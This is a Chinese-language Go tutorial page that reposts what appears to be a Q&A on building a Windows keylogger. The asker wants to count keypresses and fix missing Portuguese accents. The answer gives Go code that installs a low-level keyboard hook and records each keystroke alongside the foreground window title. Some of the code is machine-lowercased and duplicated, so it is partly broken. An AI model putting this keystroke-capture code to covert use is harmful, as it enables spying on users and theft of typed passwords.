在 Windows 的 GO 程序中创建键盘记录器 - 修复 GetAsyncKeyState 循环以支持 pt-br 重音

怎么入门Golang编程？需要学习哪些知识点？这是新手们刚接触编程时常见的问题；下面golang学习网就来给大家整理分享一些知识点，希望能够给初学者一些帮助。本篇文章就来介绍《在 Windows 的 GO 程序中创建键盘记录器 - 修复 GetAsyncKeyState 循环以支持 pt-br 重音》，涉及到，有需要的可以收藏一下

我正在 golang for windows 中构建一个键盘记录器，以计算用户在一段时间内按下键盘按键的次数并将其存储在缓冲区中。

我正在使用 https://github.com/kindlyfire/go-keylogger 包来为我做艰苦的工作，但是当我开始运行时，我的键盘记录正常，但没有得到像“´”这样的按键的响应、“^”、“~”与其他字母（葡萄牙语中常见）如“a”、“o”、“u”组合时，停止打印这些组合（“á”、“é”、“ó”）和很快。我在一些文章中读到，使用 getasyncstatekey 不是执行此操作的正确方法，但作者没有解释为什么它会阻止这些组合键。有人可以帮助我以正确的方式做到这一点吗？我正在使用的代码几乎相同：

https://github.com/kindlyfire/go-keylogger

（包keylogger.go）

package keylogger

import (
    "syscall"
    "unicode/utf8"
    "unsafe"

    "github.com/thetitanrain/w32"
)

var (
    moduser32 = syscall.newlazydll("user32.dll")

    procgetkeyboardlayout     = moduser32.newproc("getkeyboardlayout")
    procgetkeyboardstate      = moduser32.newproc("getkeyboardstate")
    proctounicodeex           = moduser32.newproc("tounicodeex")
    procgetkeyboardlayoutlist = moduser32.newproc("getkeyboardlayoutlist")
    procmapvirtualkeyex       = moduser32.newproc("mapvirtualkeyexw")
    procgetkeystate           = moduser32.newproc("getkeystate")
)

// newkeylogger creates a new keylogger depending on
// the platform we are running on (currently only windows
// is supported)
func newkeylogger() keylogger {
    kl := keylogger{}

    return kl
}

// keylogger represents the keylogger
type keylogger struct {
    lastkey int
}

// key is a single key entered by the user
type key struct {
    empty   bool
    rune    rune
    keycode int
}

func (kl *keylogger) getkey() key {
    activekey := 0
    var keystate uint16

    for i := 0; i < 256; i++ {
        keystate = w32.getasynckeystate(i)

        // check if the most significant bit is set (key is down)
        // and check if the key is not a non-char key (except for space, 0x20)
        if keystate&(1<<15) != 0 && !(i < 0x2f && i != 0x20) && (i < 160 || i > 165) && (i < 91 || i > 93) {
            activekey = i
            break
        }
    }

    if activekey != 0 {
        if activekey != kl.lastkey {
            kl.lastkey = activekey
            return kl.parsekeycode(activekey, keystate)
        }
    } else {
        kl.lastkey = 0
    }

    return key{empty: true}
}
[...]continues

和主包：

package main

import (
    "fmt"
    "time"

    "github.com/kindlyfire/go-keylogger"
)

const (
    delayKeyfetchMS = 5
)

func main() {
    kl := keylogger.NewKeylogger()
    count := 0

    for {
        key := kl.GetKey()

        if !key.Empty {
            count ++
        }

        count++

        fmt.Printf("key count: %d\r", count)

        time.Sleep(delayKeyfetchMS * time.Millisecond)
    }
}

我注意到当我将delaykeyfetchms增加到200或更多时，组合键会更容易，有时它会打印在屏幕上。

正确答案

我写了一篇关于如何在 golang 中创建键盘记录器的 blog post。希望对您有所帮助。

查看图书馆go-hook

// package keylogger... it's a keylogger.
package keylogger

import (
    "fmt"
    "os"
    "os/signal"

    "syscall"
    "unsafe"

    "github.com/moutend/go-hook/pkg/keyboard"
    "github.com/moutend/go-hook/pkg/types"
    "golang.org/x/sys/windows"
)

var (
    mod = windows.newlazydll("user32.dll")

    procgetkeystate         = mod.newproc("getkeystate")
    procgetkeyboardlayout   = mod.newproc("getkeyboardlayout")
    procgetkeyboardstate    = mod.newproc("getkeyboardstate")
    proctounicodeex         = mod.newproc("tounicodeex")
    procgetwindowtext       = mod.newproc("getwindowtextw")
    procgetwindowtextlength = mod.newproc("getwindowtextlengthw")
)

type (
    handle uintptr
    hwnd   handle
)

// gets length of text of window text by hwnd
func getwindowtextlength(hwnd hwnd) int {
    ret, _, _ := procgetwindowtextlength.call(
        uintptr(hwnd))

    return int(ret)
}

// gets text of window text by hwnd
func getwindowtext(hwnd hwnd) string {
    textlen := getwindowtextlength(hwnd) + 1

    buf := make([]uint16, textlen)
    procgetwindowtext.call(
        uintptr(hwnd),
        uintptr(unsafe.pointer(&buf[0])),
        uintptr(textlen))

    return syscall.utf16tostring(buf)
}

// gets current foreground window
func getforegroundwindow() uintptr {
    proc := mod.newproc("getforegroundwindow")
    hwnd, _, _ := proc.call()
    return hwnd
}

// runs the keylogger
func run(key_out chan rune, window_out chan string) error {
    // buffer size is depends on your need. the 100 is placeholder value.
    keyboardchan := make(chan types.keyboardevent, 100)

    if err := keyboard.install(nil, keyboardchan); err != nil {
        return err
    }

    defer keyboard.uninstall()

    signalchan := make(chan os.signal, 1)
    signal.notify(signalchan, os.interrupt)

    fmt.println("start capturing keyboard input")

    for {
        select {
        case <-signalchan:
            fmt.println("received shutdown signal")
            return nil
        case k := <-keyboardchan:
            if hwnd := getforegroundwindow(); hwnd != 0 {
                if k.message == types.wm_keydown {
                    key_out <- vkcodetoascii(k)
                    window_out <- getwindowtext(hwnd(hwnd))
                }
            }
        }
    }
}

// converts from virtual-keycode to ascii rune
func vkcodetoascii(k types.keyboardevent) rune {
    var buffer []uint16 = make([]uint16, 256)
    var keystate []byte = make([]byte, 256)

    n := 10
    n |= (1 << 2)

    procgetkeystate.call(uintptr(k.vkcode))

    procgetkeyboardstate.call(uintptr(unsafe.pointer(&keystate[0])))
    r1, _, _ := procgetkeyboardlayout.call(0)

    proctounicodeex.call(uintptr(k.vkcode), uintptr(k.scancode), uintptr(unsafe.pointer(&keystate[0])),
        uintptr(unsafe.pointer(&buffer[0])), 256, uintptr(n), r1)

    if len(syscall.utf16tostring(buffer)) > 0 {
        return []rune(syscall.utf16tostring(buffer))[0]
    }
    return rune(0)
}

func Run(key_out chan rune, window_out chan string) error {
    // Buffer size is depends on your need. The 100 is placeholder value.
    keyboardChan := make(chan types.KeyboardEvent, 1024)

    if err := keyboard.Install(nil, keyboardChan); err != nil {
        return err
    }

    defer keyboard.Uninstall()

    signalChan := make(chan os.Signal, 1)
    signal.Notify(signalChan, os.Interrupt)

    fmt.Println("start capturing keyboard input")

    for {
        select {
        case <-signalChan:
            fmt.Println("Received shutdown signal")
            return nil
        case k := <-keyboardChan:
            if hwnd := GetForegroundWindow(); hwnd != 0 {
                if k.Message == types.WM_KEYDOWN {
                    key_out <- VKCodeToAscii(k)
                    window_out <- GetWindowText(HWND(hwnd))
                }
            }
        }
    }
}

首先初始化一个缓冲通道来存储键盘事件，然后使用keyboard.install()安装低级键盘钩子。 推迟钩子的卸载，以便在函数返回时卸载它。然后在无限 for 循环中使用 getforegroundwindow() 获取前景窗口，并在按下某个键时将键发送到 key_out 通道，并将窗口名称发送到 window_out 通道。

注意：这仅适用于 windows。

今天带大家了解了的相关知识，希望对你有所帮助；关于Golang的技术知识我们会一点点深入介绍，欢迎大家关注golang学习网公众号，一起学习编程~